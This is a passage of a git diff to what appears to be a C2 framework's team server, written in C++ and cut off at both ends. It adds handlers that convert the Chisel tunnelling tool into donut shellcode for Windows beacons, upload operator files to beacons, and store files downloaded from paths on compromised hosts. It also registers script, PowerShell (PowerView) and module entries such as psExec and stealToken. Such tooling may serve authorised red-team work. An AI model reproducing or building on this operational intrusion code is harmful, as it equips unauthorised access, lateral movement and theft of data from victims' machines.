artifact_filter=powershell_filter), + SimpleNamespace(name="-s", type="flag", values=[], artifact_filter=powershell_filter), + ], + ) + + grpc = FakeGrpc() + session = SimpleNamespace(os="Linux", arch="x64") + server_data = command_specs_to_completer_data([script_spec, powershell_spec], grpcClient=grpc, session=session) + + script_children = _completion_children(server_data, "script") + assert ("cleanup.sh", []) in script_children + + powershell_children = _completion_children(server_data, "powershell") + assert _completion_children(powershell_children, "-i") + assert ("PowerView.ps1", []) in _completion_children(powershell_children, "-s") + assert grpc.queries[0].category == "script" + assert grpc.queries[0].platform == "linux" + assert grpc.queries[1].platform == "windows" + + def test_command_specs_add_flag_completions_without_positional_mode_mix(): class FakeGrpc: def __init__(self): diff --git a/core b/core index fa9a144..303698c 160000 --- a/core +++ b/core @@ -1 +1 @@ -Subproject commit fa9a1446bb90bad94ba43e0a047ee26a682f5a3a +Subproject commit 303698c086a0d47979c83554b6ac896454ede6ba diff --git a/packaging/validate_release.py b/packaging/validate_release.py index ae03408..e60d6a1 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -160,6 +160,7 @@ "assemblyExec.json", "cat.json", "cd.json", + "chisel.json", "cimExec.json", "dcomExec.json", "download.json", @@ -179,6 +180,7 @@ "netstat.json", "ps.json", "psExec.json", + "powershell.json", "pwd.json", "registry.json", "remove.json", @@ -187,6 +189,7 @@ "run.json", "screenShot.json", "shell.json", + "script.json", "spawnAs.json", "sshExec.json", "stealToken.json", diff --git a/teamServer/CMakeLists.txt b/teamServer/CMakeLists.txt index d0f147b..fb183c7 100644 --- a/teamServer/CMakeLists.txt +++ b/teamServer/CMakeLists.txt @@ -7,14 +7,19 @@ set(TEAMSERVER_CORE_SOURCES teamServer/TeamServerArtifactCatalog.cpp teamServer/TeamServerArtifactService.cpp teamServer/TeamServerAuth.cpp + teamServer/TeamServerChiselCommandPreparer.cpp teamServer/TeamServerCommandCatalog.cpp teamServer/TeamServerCommandCatalogService.cpp teamServer/TeamServerCommandPreparationService.cpp + teamServer/TeamServerFileArtifactService.cpp + teamServer/TeamServerFileTransferCommandPreparer.cpp teamServer/TeamServerGeneratedArtifactStore.cpp teamServer/TeamServerHelpService.cpp teamServer/TeamServerInjectCommandPreparer.cpp teamServer/TeamServerListenerArtifactService.cpp teamServer/TeamServerModuleLoader.cpp + teamServer/TeamServerMiniDumpCommandPreparer.cpp + teamServer/TeamServerScriptCommandPreparer.cpp teamServer/TeamServerShellcodeService.cpp teamServer/TeamServerSocksService.cpp teamServer/TeamServerTermLocalService.cpp diff --git a/teamServer/teamServer/TeamServer.cpp b/teamServer/teamServer/TeamServer.cpp index 5ce713a..59d7930 100644 --- a/teamServer/teamServer/TeamServer.cpp +++ b/teamServer/teamServer/TeamServer.cpp @@ -5,15 +5,20 @@ #include "TeamServerAssemblyExecCommandPreparer.hpp" #include "TeamServerAuth.hpp" #include "TeamServerBootstrap.hpp" +#include "TeamServerChiselCommandPreparer.hpp" #include "TeamServerCommandCatalog.hpp" #include "TeamServerCommandCatalogService.hpp" #include "TeamServerCommandPreparationService.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerFileTransferCommandPreparer.hpp" #include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerHelpService.hpp" #include "TeamServerInjectCommandPreparer.hpp" #include "TeamServerListenerArtifactService.hpp" #include "TeamServerListenerSessionService.hpp" +#include "TeamServerMiniDumpCommandPreparer.hpp" #include "TeamServerModuleLoader.hpp" +#include "TeamServerScriptCommandPreparer.hpp" #include "TeamServerShellcodeService.hpp" #include "TeamServerSocksService.hpp" #include "TeamServerTermLocalService.hpp" @@ -56,6 +61,10 @@ TeamServer::TeamServer(const nlohmann::json& config) m_authManager = std::make_unique(m_logger); m_authManager->configure(config); m_generatedArtifactStore = std::make_shared(runtimeConfig); + m_fileArtifactService = std::make_shared( + m_logger, + runtimeConfig, + m_generatedArtifactStore); m_shellcodeService = std::make_shared(m_logger); m_artifactService = std::make_unique( m_logger, @@ -78,6 +87,7 @@ TeamServer::TeamServer(const nlohmann::json& config) m_cmdResponses, m_sentResponses, m_sentCommands, + m_fileArtifactService, [this](const std::string& input, C2Message& c2Message, bool isWindows, const std::string& windowsArch) { return this->prepMsg(input, c2Message, isWindows, windowsArch); }); m_listenerArtifactService = std::make_unique( @@ -104,6 +114,24 @@ TeamServer::TeamServer(const nlohmann::json& config) m_shellcodeService, m_generatedArtifactStore, m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + runtimeConfig, + m_shellcodeService, + m_generatedArtifactStore, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); + commandPreparers.push_back(std::make_unique( + m_logger, + m_fileArtifactService, + m_moduleCmd)); m_commandPreparationService = std::make_unique( m_logger, runtimeConfig, diff --git a/teamServer/teamServer/TeamServer.hpp b/teamServer/teamServer/TeamServer.hpp index 581d5f8..aa0c966 100644 --- a/teamServer/teamServer/TeamServer.hpp +++ b/teamServer/teamServer/TeamServer.hpp @@ -32,6 +32,7 @@ class TeamServerAuthManager; class TeamServerArtifactService; class TeamServerCommandCatalogService; +class TeamServerFileArtifactService; class TeamServerGeneratedArtifactStore; class TeamServerHelpService; class TeamServerListenerSessionService; @@ -101,6 +102,7 @@ class TeamServer final : public teamserverapi::TeamServerApi::Service std::unique_ptr m_authManager; std::unique_ptr m_artifactService; std::unique_ptr m_commandCatalogService; + std::shared_ptr m_fileArtifactService; std::shared_ptr m_generatedArtifactStore; std::unique_ptr m_helpService; std::unique_ptr m_listenerSessionService; diff --git a/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp b/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp new file mode 100644 index 0000000..a4ccc59 --- /dev/null +++ b/teamServer/teamServer/TeamServerChiselCommandPreparer.cpp @@ -0,0 +1,146 @@ +#include "TeamServerChiselCommandPreparer.hpp" + +#include +#include +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace fs = std::filesystem; + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} + +std::string joinTail(const std::vector& tokens, std::size_t start) +{ + std::ostringstream output; + for (std::size_t index = start; index < tokens.size(); ++index) + { + if (index != start) + output << ' '; + output << tokens[index]; + } + return output.str(); +} + +ModuleCmd* findModule(std::vector>& modules, const std::string& name) +{ + const std::string loweredName = toLower(name); + for (const auto& module : modules) + { + if (module && toLower(module->getName()) == loweredName) + return module.get(); + } + return nullptr; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} +} // namespace + +TeamServerChiselCommandPreparer::TeamServerChiselCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_shellcodeService(std::move(shellcodeService)), + m_artifactStore(std::move(artifactStore)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerChiselCommandPreparer::canPrepare(const std::string& instruction) const +{ + return toLower(instruction) == "chisel"; +} + +TeamServerCommandPreparerResult TeamServerChiselCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + const std::vector tokens = regroup(context.tokens); + if (tokens.size() >= 2) + { + const std::string action = toLower(tokens[1]); + if (action == "status" || action == "stop") + return result; + } + + result.handled = true; + result.status = -1; + if (!context.isWindows) + return handledError(c2Message, "chisel is Windows-only.\n"); + if (tokens.size() < 4 || toLower(tokens[1]) != "client") + return handledError(c2Message, "Usage: chisel client \n"); + if (!m_shellcodeService || !m_artifactStore) + return handledError(c2Message, "Shellcode preparation service is not available.\n"); + + ModuleCmd* module = findModule(m_moduleCmd, "chisel"); + if (!module) + return handledError(c2Message, "Module chisel not found.\n"); + + const std::string arch = context.windowsArch.empty() ? m_runtimeConfig.defaultWindowsArch : context.windowsArch; + const fs::path chiselPath = fs::path(m_runtimeConfig.toolsDirectoryPath) / "Windows" / arch / "chisel.exe"; + if (!fs::exists(chiselPath)) + return handledError(c2Message, "Required Chisel tool not found: " + chiselPath.string() + "\n"); + + const std::string arguments = joinTail(tokens, 1); + TeamServerShellcodeRequest shellcodeRequest; + shellcodeRequest.generator = "donut"; + shellcodeRequest.sourcePath = chiselPath.string(); + shellcodeRequest.sourceType = "dotnet_exe"; + shellcodeRequest.arch = arch; + shellcodeRequest.arguments = arguments; + shellcodeRequest.exitPolicy = "process"; + + TeamServerShellcodeResult shellcode = m_shellcodeService->generate(shellcodeRequest); + if (!shellcode.ok) + return handledError(c2Message, shellcode.message + "\n"); + + TeamServerGeneratedArtifactRequest artifactRequest; + artifactRequest.nameHint = "chisel-" + chiselPath.filename().string() + ".bin"; + artifactRequest.bytes = shellcode.bytes; + artifactRequest.platform = "windows"; + artifactRequest.arch = arch; + artifactRequest.source = shellcode.generator; + artifactRequest.description = "Generated shellcode for chisel."; + artifactRequest.tags = {"chisel", shellcode.sourceType}; + TeamServerGeneratedArtifactRecord artifact = m_artifactStore->store(artifactRequest); + if (artifact.path.empty()) + return handledError(c2Message, "Could not store generated shellcode artifact.\n"); + + ModulePreparedShellcodeTask task; + task.inputFile = artifact.path; + task.payload = shellcode.bytes; + task.executionMode = "process"; + task.displayCommand = arguments; + result.status = module->initPreparedShellcode(task, c2Message); + if (result.status == 0 && m_logger) + m_logger->info("chisel prepared shellcode artifact {}", artifact.path); + return result; +} diff --git a/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp b/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp new file mode 100644 index 0000000..06bfa3b --- /dev/null +++ b/teamServer/teamServer/TeamServerChiselCommandPreparer.hpp @@ -0,0 +1,35 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "TeamServerShellcodeService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerChiselCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerChiselCommandPreparer( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr shellcodeService, + std::shared_ptr artifactStore, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_shellcodeService; + std::shared_ptr m_artifactStore; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerFileArtifactService.cpp b/teamServer/teamServer/TeamServerFileArtifactService.cpp new file mode 100644 index 0000000..316a1ca --- /dev/null +++ b/teamServer/teamServer/TeamServerFileArtifactService.cpp @@ -0,0 +1,448 @@ +#include "TeamServerFileArtifactService.hpp" + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "nlohmann/json.hpp" + +namespace fs = std::filesystem; +using json = nlohmann::json; + +namespace +{ +constexpr const char* PendingDownloadSuffix = ".artifact.pending.json"; + +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +std::string platformName(bool isWindows) +{ + return isWindows ? "windows" : "linux"; +} + +std::string normalizeArch(bool isWindows, const std::string& arch, const TeamServerRuntimeConfig& runtimeConfig) +{ + std::string normalized = isWindows + ? TeamServerRuntimeConfig::normalizeWindowsArch(arch) + : TeamServerRuntimeConfig::normalizeLinuxArch(arch); + if (normalized.empty()) + normalized = isWindows ? runtimeConfig.defaultWindowsArch : runtimeConfig.defaultLinuxArch; + return normalized.empty() ? "any" : normalized; +} + +std::string basename(std::string value) +{ + const auto slash = value.find_last_of("/\\"); + if (slash != std::string::npos) + value = value.substr(slash + 1); + return value; +} + +std::string sanitizeName(std::string value) +{ + for (char& ch : value) + { + const unsigned char c = static_cast(ch); + if (!std::isalnum(c) && ch != '.' && ch != '-' && ch != '_') + ch = '_'; + } + value.erase(std::remove(value.begin(), value.end(), '/'), value.end()); + value.erase(std::remove(value.begin(), value.end(), '\\'), value.end()); + if (value.empty()) + value = "artifact.bin"; + return value; +} + +std::string detectFormat(const std::string& name) +{ + fs::path path(name); + std::string extension = path.extension().string(); + if (extension.empty()) + return "binary"; + if (extension.front() == '.') + extension.erase(extension.begin()); + extension = toLower(extension); + return extension.empty() ? "binary" : extension; +} + +std::string uniquePrefix() +{ + const auto now = std::chrono::system_clock::now().time_since_epoch().count(); + std::random_device randomDevice; + std::mt19937 generator(randomDevice()); + std::uniform_int_distribution distribution(0, 0xffff); + + std::ostringstream output; + output << now << "-" << std::hex << distribution(generator); + return output.str(); +} + +bool readFile(const fs::path& path, std::string& bytes) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return false; + bytes.assign(std::istreambuf_iterator(input), {}); + return input.good() || input.eof(); +} + +bool matchesSelector(const TeamServerArtifactRecord& artifact, const std::string& selector) +{ + const std::string loweredSelector = toLower(selector); + return toLower(artifact.artifactId) == loweredSelector + || toLower(artifact.name) == loweredSelector + || toLower(artifact.displayName) == loweredSelector + || toLower(basename(artifact.name)) == loweredSelector + || toLower(basename(artifact.displayName)) == loweredSelector; +} + +fs::path pendingPathFor(const std::string& artifactPath) +{ + return fs::path(artifactPath + PendingDownloadSuffix); +} + +bool isSuccess(const C2Message& c2Message) +{ + return toLower(c2Message.returnvalue()) == "success"; +} + +std::string jsonString(const json& input, const char* key, const std::string& fallback = "") +{ + auto it = input.find(key); + if (it == input.end() || !it->is_string()) + return fallback; + return it->get(); +} + +std::vector jsonStringList(const json& input, const char* key) +{ + std::vector values; + auto it = input.find(key); + if (it == input.end() || !it->is_array()) + return values; + for (const auto& value : *it) + { + if (value.is_string()) + values.push_back(value.get()); + } + return values; +} + +bool jsonBool(const json& input, const char* key, bool fallback = false) +{ + auto it = input.find(key); + if (it == input.end() || !it->is_boolean()) + return fallback; + return it->get(); +} +} // namespace + +TeamServerFileArtifactService::TeamServerFileArtifactService( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr generatedArtifactStore) + : m_logger(std::move(logger)), + m_runtimeConfig(std::move(runtimeConfig)), + m_generatedArtifactStore(std::move(generatedArtifactStore)) +{ +} + +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveUploadArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing upload artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "upload"; + query.scope = "operator"; + query.target = "beacon"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + query.runtime = "file"; + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + + if (artifact == artifacts.end()) + { + result.message = "Upload artifact not found: " + selector + + ". Put files under UploadedArtifacts/" + + platformName(isWindows) + "/" + query.arch + + " or UploadedArtifacts/Any/any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Upload artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + +TeamServerPreparedInputArtifact TeamServerFileArtifactService::resolveScriptArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const +{ + TeamServerPreparedInputArtifact result; + if (selector.empty()) + { + result.message = "Missing script artifact."; + return result; + } + + TeamServerArtifactQuery query; + query.category = "script"; + query.scope = "server"; + query.target = "beacon"; + query.platform = platformName(isWindows); + query.arch = normalizeArch(isWindows, arch, m_runtimeConfig); + query.runtime = "script"; + + TeamServerArtifactCatalog catalog(m_runtimeConfig); + const std::vector artifacts = catalog.listArtifacts(query); + const auto artifact = std::find_if( + artifacts.begin(), + artifacts.end(), + [&](const TeamServerArtifactRecord& candidate) + { + return matchesSelector(candidate, selector); + }); + + if (artifact == artifacts.end()) + { + result.message = "Script artifact not found: " + selector + + ". Put scripts under Scripts/" + + platformName(isWindows) + + " or Scripts/Any."; + return result; + } + + std::string bytes; + if (!readFile(artifact->internalPath, bytes)) + { + result.message = "Script artifact could not be read: " + artifact->name; + return result; + } + + result.ok = true; + result.artifact = *artifact; + result.bytes = std::move(bytes); + return result; +} + +TeamServerPreparedDownloadArtifact TeamServerFileArtifactService::prepareDownloadArtifact( + const std::string& remotePath, + const std::string& nameHint, + bool isWindows, + const std::string& arch) const +{ + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = remotePath; + spec.nameHint = nameHint; + spec.category = "download"; + spec.source = "beacon"; + spec.description = "Downloaded from beacon path: " + remotePath; + spec.tags = {"download"}; + spec.isWindows = isWindows; + spec.arch = arch; + return prepareGeneratedFileArtifact(spec); +} + +TeamServerPreparedDownloadArtifact TeamServerFileArtifactService::prepareGeneratedFileArtifact( + const TeamServerGeneratedFileArtifactSpec& spec) const +{ + TeamServerPreparedDownloadArtifact result; + if (spec.remotePath.empty()) + { + result.message = "Missing artifact source path."; + return result; + } + + const std::string category = spec.category.empty() ? "download" : spec.category; + const std::string source = spec.source.empty() ? "beacon" : spec.source; + std::string displayName = spec.nameHint.empty() ? basename(spec.remotePath) : basename(spec.nameHint); + displayName = sanitizeName(displayName.empty() ? category + ".bin" : displayName); + const std::string fileName = uniquePrefix() + "-" + displayName; + const fs::path root = fs::path(m_runtimeConfig.generatedArtifactsDirectoryPath) / category / source; + std::error_code ec; + fs::create_directories(root, ec); + if (ec) + { + result.message = "Generated artifact directory could not be created: " + ec.message(); + return result; + } + + const fs::path artifactPath = root / fileName; + json pending; + pending["name_hint"] = displayName; + pending["category"] = category; + pending["scope"] = spec.scope.empty() ? "generated" : spec.scope; + pending["target"] = spec.target.empty() ? "teamserver" : spec.target; + pending["platform"] = platformName(spec.isWindows); + pending["arch"] = normalizeArch(spec.isWindows, spec.arch, m_runtimeConfig); + pending["format"] = spec.format.empty() ? detectFormat(displayName) : spec.format; + pending["runtime"] = spec.runtime.empty() ? "file" : spec.runtime; + pending["source"] = source; + pending["description"] = spec.description; + pending["tags"] = spec.tags; + pending["remote_path"] = spec.remotePath; + pending["write_result_data"] = spec.writeResultData; + + std::ofstream pendingOutput(pendingPathFor(artifactPath.string()), std::ios::binary); + if (!pendingOutput.good()) + { + result.message = "Download artifact metadata could not be created."; + return result; + } + pendingOutput << pending.dump(2); + pendingOutput.close(); + if (!pendingOutput.good()) + { + fs::remove(pendingPathFor(artifactPath.string()), ec); + result.message = "Download artifact metadata could not be written."; + return result; + } + + result.ok = true; + result.path = artifactPath.string(); + result.displayName = displayName; + return result; +} + +bool TeamServerFileArtifactService::shouldKeepCommandContext(const C2Message& c2Message) const +{ + const fs::path pendingPath = pendingPathFor(c2Message.outputfile()); + std::error_code ec; + return !c2Message.outputfile().empty() + && fs::exists(pendingPath, ec) + && c2Message.errorCode() == -1 + && !isSuccess(c2Message); +} + +bool TeamServerFileArtifactService::handleCommandResult(const C2Message& c2Message, std::string& outputMessage) const +{ + outputMessage.clear(); + if (c2Message.outputfile().empty()) + return false; + + const fs::path artifactPath = c2Message.outputfile(); + const fs::path pendingPath = pendingPathFor(c2Message.outputfile()); + std::error_code ec; + if (!fs::exists(pendingPath, ec)) + return false; + + if (c2Message.errorCode() > 0) + { + fs::remove(artifactPath, ec); + fs::remove(pendingPath, ec); + if (m_logger) + m_logger->warn("Discarded pending generated artifact after beacon error: {}", artifactPath.string()); + return true; + } + + std::ifstream pendingInput(pendingPath); + json metadata = json::parse(pendingInput, nullptr, false); + if (metadata.is_discarded() || !metadata.is_object()) + { + outputMessage = "Generated artifact metadata is invalid: " + artifactPath.string(); + return true; + } + + const bool writeResultData = jsonBool(metadata, "write_result_data", false); + if (writeResultData && !c2Message.data().empty()) + { + fs::create_directories(artifactPath.parent_path(), ec); + if (ec) + { + outputMessage = "Generated artifact directory could not be created: " + ec.message(); + return true; + } + + const bool firstChunk = c2Message.args() == "0"; + std::ofstream output( + artifactPath, + std::ios::binary | (firstChunk ? std::ios::trunc : std::ios::app)); + if (!output.good()) + { + outputMessage = "Generated artifact payload could not be opened: " + artifactPath.string(); + return true; + } + output.write(c2Message.data().data(), static_cast(c2Message.data().size())); + output.close(); + if (!output.good()) + { + outputMessage = "Generated artifact payload could not be written: " + artifactPath.string(); + return true; + } + } + + if (!isSuccess(c2Message)) + return true; + + if (!m_generatedArtifactStore) + { + outputMessage = "Generated artifact completed, but generated artifact store is not available: " + artifactPath.string(); + return true; + } + + TeamServerGeneratedArtifactRequest request; + request.nameHint = jsonString(metadata, "name_hint", artifactPath.filename().string()); + request.category = jsonString(metadata, "category", "download"); + request.scope = jsonString(metadata, "scope", "generated"); + request.target = jsonString(metadata, "target", "teamserver"); + request.platform = jsonString(metadata, "platform", "any"); + request.arch = jsonString(metadata, "arch", "any"); + request.format = jsonString(metadata, "format", detectFormat(artifactPath.filename().string())); + request.runtime = jsonString(metadata, "runtime", "file"); + request.source = jsonString(metadata, "source", "beacon"); + request.description = jsonString(metadata, "description"); + request.tags = jsonStringList(metadata, "tags"); + + TeamServerGeneratedArtifactRecord artifact = m_generatedArtifactStore->registerExistingFile(request, artifactPath.string()); + if (artifact.path.empty()) + { + outputMessage = "Generated artifact completed, but registration failed: " + artifactPath.string(); + return true; + } + + fs::remove(pendingPath, ec); + const std::string category = jsonString(metadata, "category", "download"); + outputMessage = (category == "download" ? "Downloaded artifact stored: " : "Generated artifact stored: ") + artifact.name; + if (m_logger) + m_logger->info("Registered generated artifact {}", artifact.path); + return true; +} diff --git a/teamServer/teamServer/TeamServerFileArtifactService.hpp b/teamServer/teamServer/TeamServerFileArtifactService.hpp new file mode 100644 index 0000000..e1b9e7f --- /dev/null +++ b/teamServer/teamServer/TeamServerFileArtifactService.hpp @@ -0,0 +1,78 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerArtifactCatalog.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" +#include "TeamServerRuntimeConfig.hpp" +#include "modules/ModuleCmd/C2Message.hpp" +#include "spdlog/logger.h" + +struct TeamServerPreparedInputArtifact +{ + bool ok = false; + std::string message; + TeamServerArtifactRecord artifact; + std::string bytes; +}; + +struct TeamServerPreparedDownloadArtifact +{ + bool ok = false; + std::string message; + std::string path; + std::string displayName; +}; + +struct TeamServerGeneratedFileArtifactSpec +{ + std::string remotePath; + std::string nameHint; + std::string category = "download"; + std::string scope = "generated"; + std::string target = "teamserver"; + std::string format; + std::string runtime = "file"; + std::string source = "beacon"; + std::string description; + std::vector tags; + bool isWindows = true; + std::string arch; + bool writeResultData = false; +}; + +class TeamServerFileArtifactService +{ +public: + TeamServerFileArtifactService( + std::shared_ptr logger, + TeamServerRuntimeConfig runtimeConfig, + std::shared_ptr generatedArtifactStore); + + TeamServerPreparedInputArtifact resolveUploadArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; + TeamServerPreparedInputArtifact resolveScriptArtifact( + const std::string& selector, + bool isWindows, + const std::string& arch) const; + + TeamServerPreparedDownloadArtifact prepareDownloadArtifact( + const std::string& remotePath, + const std::string& nameHint, + bool isWindows, + const std::string& arch) const; + TeamServerPreparedDownloadArtifact prepareGeneratedFileArtifact( + const TeamServerGeneratedFileArtifactSpec& spec) const; + + bool shouldKeepCommandContext(const C2Message& c2Message) const; + bool handleCommandResult(const C2Message& c2Message, std::string& outputMessage) const; + +private: + std::shared_ptr m_logger; + TeamServerRuntimeConfig m_runtimeConfig; + std::shared_ptr m_generatedArtifactStore; +}; diff --git a/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp new file mode 100644 index 0000000..5894ac4 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.cpp @@ -0,0 +1,139 @@ +#include "TeamServerFileTransferCommandPreparer.hpp" + +#include +#include +#include + +#include "modules/ModuleCmd/Common.hpp" + +namespace +{ +std::string toLower(std::string value) +{ + std::transform(value.begin(), value.end(), value.begin(), [](unsigned char c) + { + return static_cast(std::tolower(c)); + }); + return value; +} + +TeamServerCommandPreparerResult handledError(C2Message& c2Message, const std::string& message) +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + c2Message.set_returnvalue(message); + return result; +} + +std::vector regroup(const std::vector& tokens) +{ + return regroupStrings(tokens); +} +} // namespace + +TeamServerFileTransferCommandPreparer::TeamServerFileTransferCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd) + : m_logger(std::move(logger)), + m_fileArtifactService(std::move(fileArtifactService)), + m_moduleCmd(moduleCmd) +{ +} + +bool TeamServerFileTransferCommandPreparer::canPrepare(const std::string& instruction) const +{ + const std::string lowered = toLower(instruction); + return lowered == "download" || lowered == "upload"; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + if (toLower(context.tokens.empty() ? "" : context.tokens[0]) == "download") + return prepareDownload(context, c2Message); + return prepareUpload(context, c2Message); +} + +bool TeamServerFileTransferCommandPreparer::hasModule(const std::string& name) const +{ + const std::string lowered = toLower(name); + for (const auto& module : m_moduleCmd) + { + if (module && toLower(module->getName()) == lowered) + return true; + } + return false; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepareDownload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("download")) + return handledError(c2Message, "Module download not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() < 2 || tokens.size() > 3) + return handledError(c2Message, "Usage: download [artifact_name]\n"); + + const std::string& remotePath = tokens[1]; + const std::string nameHint = tokens.size() == 3 ? tokens[2] : ""; + TeamServerPreparedDownloadArtifact artifact = m_fileArtifactService->prepareDownloadArtifact( + remotePath, + nameHint, + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("download"); + c2Message.set_inputfile(remotePath); + c2Message.set_outputfile(artifact.path); + result.status = 0; + if (m_logger) + m_logger->info("Prepared download artifact path {}", artifact.path); + return result; +} + +TeamServerCommandPreparerResult TeamServerFileTransferCommandPreparer::prepareUpload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const +{ + TeamServerCommandPreparerResult result; + result.handled = true; + result.status = -1; + + if (!hasModule("upload")) + return handledError(c2Message, "Module upload not found.\n"); + if (!m_fileArtifactService) + return handledError(c2Message, "File artifact service is not available.\n"); + + const std::vector tokens = regroup(context.tokens); + if (tokens.size() != 3) + return handledError(c2Message, "Usage: upload \n"); + + TeamServerPreparedInputArtifact artifact = m_fileArtifactService->resolveUploadArtifact( + tokens[1], + context.isWindows, + context.windowsArch); + if (!artifact.ok) + return handledError(c2Message, artifact.message + "\n"); + + c2Message.set_instruction("upload"); + c2Message.set_inputfile(artifact.artifact.name); + c2Message.set_outputfile(tokens[2]); + c2Message.set_data(artifact.bytes); + result.status = 0; + if (m_logger) + m_logger->info("Prepared upload artifact {} -> {}", artifact.artifact.name, tokens[2]); + return result; +} diff --git a/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp new file mode 100644 index 0000000..4f92155 --- /dev/null +++ b/teamServer/teamServer/TeamServerFileTransferCommandPreparer.hpp @@ -0,0 +1,37 @@ +#pragma once + +#include +#include +#include + +#include "TeamServerCommandPreparer.hpp" +#include "TeamServerFileArtifactService.hpp" +#include "modules/ModuleCmd/ModuleCmd.hpp" +#include "spdlog/logger.h" + +class TeamServerFileTransferCommandPreparer final : public TeamServerCommandPreparer +{ +public: + TeamServerFileTransferCommandPreparer( + std::shared_ptr logger, + std::shared_ptr fileArtifactService, + std::vector>& moduleCmd); + + bool canPrepare(const std::string& instruction) const override; + TeamServerCommandPreparerResult prepare( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const override; + +private: + bool hasModule(const std::string& name) const; + TeamServerCommandPreparerResult prepareDownload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + TeamServerCommandPreparerResult prepareUpload( + const TeamServerCommandPreparerContext& context, + C2Message& c2Message) const; + + std::shared_ptr m_logger; + std::shared_ptr m_fileArtifactService; + std::vector>& m_moduleCmd; +}; diff --git a/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp index 11818e2..c344df0 100644 --- a/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp +++ b/teamServer/teamServer/TeamServerGeneratedArtifactStore.cpp @@ -45,6 +45,58 @@ std::string sha256String(const std::string& value) return bytesToHex(digest.data(), digestLength); } +std::string sha256File(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + if (!input.good()) + return ""; + + EVP_MD_CTX* context = 